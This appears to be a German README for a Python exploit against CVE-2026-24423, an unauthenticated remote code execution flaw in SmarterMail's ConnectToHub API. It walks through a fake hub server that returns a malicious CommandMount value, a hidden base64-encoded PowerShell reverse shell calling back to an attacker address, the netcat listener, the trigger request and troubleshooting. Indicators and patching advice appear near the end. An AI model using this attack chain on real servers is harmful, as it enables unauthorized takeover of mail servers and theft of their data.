
Exploit für CVE-2026-24423 — eine kritische, nicht authentifizierte RCE in der ConnectToHub-API von SmarterMail. Betrifft alle Builds vor 9511.
Ein Python-basierter Exploit für CVE-2026-24423, eine nicht authentifizierte Remote-Code-Execution-Schwachstelle in der ConnectToHub-Funktionalität von SmarterTools SmarterMail.
Verwendungszweck: Nur für autorisierte Sicherheitstests, CTFs, Hack-The-Box-Labore und kontrollierte Forschungsumgebungen.
CVE-2026-24423 ist eine nicht authentifizierte Remote-Code-Execution-Schwachstelle, die SmarterTools SmarterMail betrifft.
Die Schwachstelle existiert in der ConnectToHub-Funktionalität. Ein nicht authentifizierter Angreifer kann eine bösartige hubAddress bereitstellen, wodurch der SmarterMail-Server eine HTTP-Anfrage an einen vom Angreifer kontrollierten Server sendet.
Der bösartige Server antwortet mit einer manipulierten setup-initial-connection-Antwort, die einen kontrollierten SystemMount.CommandMount-Wert enthält.
Die verwundbare SmarterMail-Instanz verarbeitet diesen Wert anschließend als Betriebssystembefehl, was eine beliebige Befehlsausführung im Sicherheitskontext des SmarterMail-Dienstes ermöglicht.
Der Schwachstelle wurde ein CVSS-4.0-Score von 9.3 (Kritisch) zugewiesen und sie ist als CWE-306: Fehlende Authentifizierung für kritische Funktion klassifiziert.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-24423 |
| Hersteller | SmarterTools |
| Produkt | SmarterMail |
| Schwachstelle | Nicht authentifizierte Remote Code Execution |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 Kritisch |
| CVSS v3.1 | 9.8 Kritisch |
| Angriffsvektor | Netzwerk |
| Authentifizierung | Keine |
| Benutzerinteraktion | Keine |
| Komplexität | Niedrig |
| Veröffentlicht | 23. Januar 2026 |
| Behobener Build | 9511 |
Der offizielle CVE-Eintrag beschreibt das Problem als nicht authentifizierte RCE über die ConnectToHub-API-Methode.
SmarterMail-Versionen vor Build 9511 sind betroffen.
Der CVE-Eintrag spezifiziert den betroffenen Bereich als:
SmarterMail < 100.0.9511
Build 9511, veröffentlicht am 15. Januar 2026, enthält den Hersteller-Fix.
< 100.0.9511
>= 100.0.9511
Überprüfen Sie immer den exakt installierten Build, bevor Sie versuchen, die Schwachstelle zu reproduzieren.
Die verwundbare Funktionalität wird über die SmarterMail-Systemverwaltungs-API bereitgestellt.
Die relevante Operation ist:
/api/v1/settings/sysadmin/connect-to-hub
Der Endpunkt akzeptiert einen hubAddress-Parameter.
Konzeptionell kann ein Angreifer Folgendes bereitstellen:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
SmarterMail verbindet sich dann mit der bereitgestellten Hub-Adresse und fordert an:
/web/api/node-management/setup-initial-connection
Der vom Angreifer kontrollierte Server antwortet mit JSON, das ein bösartiges SystemMount-Objekt enthält.
Die wichtige Eigenschaft ist:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
Der CommandMount-Wert wird anschließend von der verwundbaren Anwendung als Betriebssystembefehl verwendet.
Dies ermöglicht einem Angreifer den Übergang von:
Nicht authentifizierte HTTP-Anfrage
zu:
Remote-Befehlsausführung
VulnChecks technische Analyse bestätigt, dass die vom Angreifer kontrollierte hubAddress dazu führt, dass SmarterMail den setup-initial-connection-Endpunkt des Angreifers anfordert und dass der zurückgegebene CommandMount eine beliebige Befehlsausführung ermöglichen kann.
Der Exploit besteht aus zwei Komponenten:
Der Python-Server lauscht auf:
POST /web/api/node-management/setup-initial-connection
und gibt eine manipulierte JSON-Antwort zurück, die den bösartigen SystemMount.CommandMount enthält.
Ein separater TCP-Listener empfängt die Verbindung, die durch den auf dem Ziel ausgeführten Befehl initiiert wird.
Dieser Exploit verwendet absichtlich zwei separate Ports.
8081
└── Fake SmarterMail Hub
4455
└── Reverse-Shell-Listener
flowchart LR
A[Angreifer<br/>10.10.14.50]
H[Fake SmarterMail Hub<br/>TCP/8081]
T[SmarterMail-Ziel<br/>10.129.57.86]
C[CommandMount<br/>Befehlsausführung]
P[PowerShell]
L[Reverse-Shell-Listener<br/>TCP/4455]
A -->|ConnectToHub auslösen| T
T -->|HTTP POST| H
H -->|Bösartiges JSON| T
T -->|CommandMount| C
C --> P
P -->|Reverse TCP| L
L --> AZiel
|
| HTTP
v
10.10.14.50:8081
Ziel
|
| TCP
v
10.10.14.50:4455
Diese Ports dienen unterschiedlichen Zwecken und sollten nicht verwechselt werden.
Der Exploit verwendet nur Python-Standardbibliotheksmodule:
http.server
json
base64
Es sind keine externen Python-Pakete erforderlich.
Bearbeiten Sie die folgenden Variablen:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Für die Beispiel-HTB-Umgebung:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST ist die IP-Adresse des Angreifers, die das Ziel erreichen kann.
Für Hack The Box ist dies normalerweise die IP, die dem HTB-VPN-Interface zugewiesen ist:
ip addr show tun0
Beispiel:
tun0:
inet 10.10.14.50
Daher:
LHOST = "10.10.14.50"
LPORT ist der TCP-Port, den der Angreifer zum Empfangen der Reverse-Verbindung verwendet.
Beispiel:
LPORT = 4455
HUB_PORT ist der HTTP-Port, der vom bösartigen SmarterMail-Hub verwendet wird.
Beispiel:
HUB_PORT = 8081
git clone https://github.com/<benutzername>/<repository>.git
cd <repository>
Bearbeiten:
nano exploit.py
Setzen:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Öffnen Sie ein Terminal:
nc -lvnp 4455
Erwartet:
Listening on 0.0.0.0 4455
Lassen Sie dieses Terminal geöffnet.
Öffnen Sie ein zweites Terminal:
python3 exploit.py
Wenn das Binden an den gewählten Port erhöhte Rechte erfordert:
sudo python3 exploit.py
Erwartete Ausgabe:
============================================================
SmarterMail fake hub
============================================================
[+] LHOST: 10.10.14.50
[+] LPORT: 4455
[+] HUB: 10.10.14.50:8081
[+] Warte auf SmarterMail...
============================================================
Senden Sie die entsprechende Anfrage an die verwundbare SmarterMail-Instanz.
Die bereitgestellte hubAddress muss auf den bösartigen HTTP-Server zeigen:
{
"hubAddress": "http://10.10.14.50:8081",
"oneTimePassword": "tempst",
"nodeName": "DC"
}
Der wichtige Wert ist:
http://10.10.14.50:8081
Verwenden Sie nicht den Reverse-Shell-Port als Hub-Port.
| Zweck | IP | Port |
|---|---|---|
| Angreifer-VPN | 10.10.14.50 | — |
| Fake SmarterMail Hub | 10.10.14.50 | 8081 |
| Reverse Shell | 10.10.14.50 | 4455 |
| HTB-Ziel | 10.129.57.86 | — |
Der resultierende Ablauf ist:
hubAddress
↓
10.10.14.50:8081
↓
Bösartiger CommandMount
↓
PowerShell
↓
10.10.14.50:4455
Der Exploit erstellt dynamisch die PowerShell-Payload.
Der -EncodedCommand-Parameter von PowerShell erwartet, dass der Befehl vor der Base64-Kodierung mit UTF-16LE kodiert wird.
Das Skript führt Folgendes aus:
encoded = base64.b64encode(
PS.encode("utf-16le")
).decode()
Der endgültige Befehl ist wie folgt strukturiert:
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64>
Dies vermeidet die manuelle Kodierung der Payload und verhindert häufige UTF-8/UTF-16LE-Kodierungsfehler.
Wenn das Ziel den bösartigen Hub erreicht:
[+] SmarterMail-Verbindung empfangen
[+] Pfad: /web/api/node-management/setup-initial-connection
[+] Body: ...
[+] Sende CommandMount-Payload
[+] Reverse Shell -> 10.10.14.50:4455
Der Reverse-Shell-Listener sollte anschließend eine Verbindung empfangen:
Connection received on 10.129.57.86 XXXXX
Nach der Verbindung kann eine grundlegende Validierung durchgeführt werden:
whoami
hostname
Überprüfen Sie, ob der Server lauscht:
ss -lntp | grep 8081
Überprüfen Sie die VPN-Adresse:
ip addr show tun0
Bestätigen Sie, dass LHOST mit der vom Ziel erreichbaren Adresse übereinstimmt.
Eine erfolgreiche HTTP-Anfrage bedeutet, dass die erste Stufe funktioniert:
Ziel
|
| HTTP
v
Fake Hub :8081
Es bedeutet nicht unbedingt, dass die zweite Stufe erfolgreich war.
Überprüfen:
ss -lntp | grep 4455
Stellen Sie sicher, dass Netcat vor dem Auslösen des Exploits gestartet wurde.
Überprüfen Sie außerdem:
LHOST = vom Ziel erreichbare Angreifer-IP
LPORT = Listener-Port
Wenn Sie Folgendes sehen:
POST /web/api/node-management/setup-initial-connection
innerhalb von Netcat, haben Sie hubAddress auf den Reverse-Shell-Listener gerichtet.
Falsch:
hubAddress = http://10.10.14.50:4455
Richtig:
hubAddress = http://10.10.14.50:8081
Die beiden Ports müssen getrennt bleiben.
Eine 400-Antwort kann auftreten, wenn der Fake Hub nicht die von SmarterMail erwartete Struktur zurückgibt.
Stellen Sie sicher, dass die Antwort Folgendes enthält:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
Stellen Sie außerdem sicher, dass der angeforderte Pfad exakt ist:
/web/api/node-management/setup-initial-connection
Die öffentliche Schwachstellenanalyse identifiziert diesen Endpunkt als Teil des verwundbaren ConnectToHub-Ablaufs.
Fügen Sie hier Screenshots aus dem HTB-Labor hinzu.
Beispiel:

Vorgeschlagener Screenshot:

Zeigen:
[+] SmarterMail-Verbindung empfangen
[+] Sende CommandMount-Payload

Zeigen Sie die Anfrage mit:
{
"hubAddress": "http://10.10.14.50:8081"
}

Zeigen:
Connection received on 10.129.57.86
und die resultierende Eingabeaufforderung.
smartermail-rce/
│
├── exploit.py
├── README.md
│
└── screenshots/
├── nmap.png
├── burp-request.png
├── fake-hub.png
└── reverse-shell.png
Mögliche Indikatoren für eine Ausnutzung sind unerwartete Anfragen an:
/api/v1/settings/sysadmin/connect-to-hub
und ausgehende Verbindungen vom SmarterMail-Server zu zuvor unbekannten HTTP-Hosts.
Administratoren sollten außerdem Anwendungs-, IIS/Reverse-Proxy- und Netzwerkprotokolle auf verdächtige ConnectToHub-Aktivitäten überprüfen.
CVE-2026-24423 wurde in den Katalog der Known Exploited Vulnerabilities von CISA aufgenommen, was darauf hindeutet, dass eine Ausnutzung außerhalb von Laborumgebungen beobachtet wurde.
Die primäre Abhilfe besteht darin, SmarterMail auf Build 9511 oder höher zu aktualisieren. Die Veröffentlichung des Herstellers vom 15. Januar 2026 hat die Schwachstelle behoben.
Wo ein sofortiges Patchen nicht möglich ist, sollten Organisationen zusätzlich Folgendes in Betracht ziehen:
ConnectToHub-Anfragen.Dieses Projekt wird nur für autorisierte Sicherheitsforschung und Bildungszwecke bereitgestellt.
Verwenden Sie diesen Exploit nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
Der Autor übernimmt keine Verantwortung für Missbrauch, Schäden, Datenverlust, unbefugten Zugriff oder andere Konsequenzen, die sich aus der Verwendung dieser Software ergeben.
Verwenden Sie nur in kontrollierten Umgebungen wie:
CVE-2026-24423 wurde zugeschrieben:
Die CVE wurde von VulnCheck am 23. Januar 2026 veröffentlicht.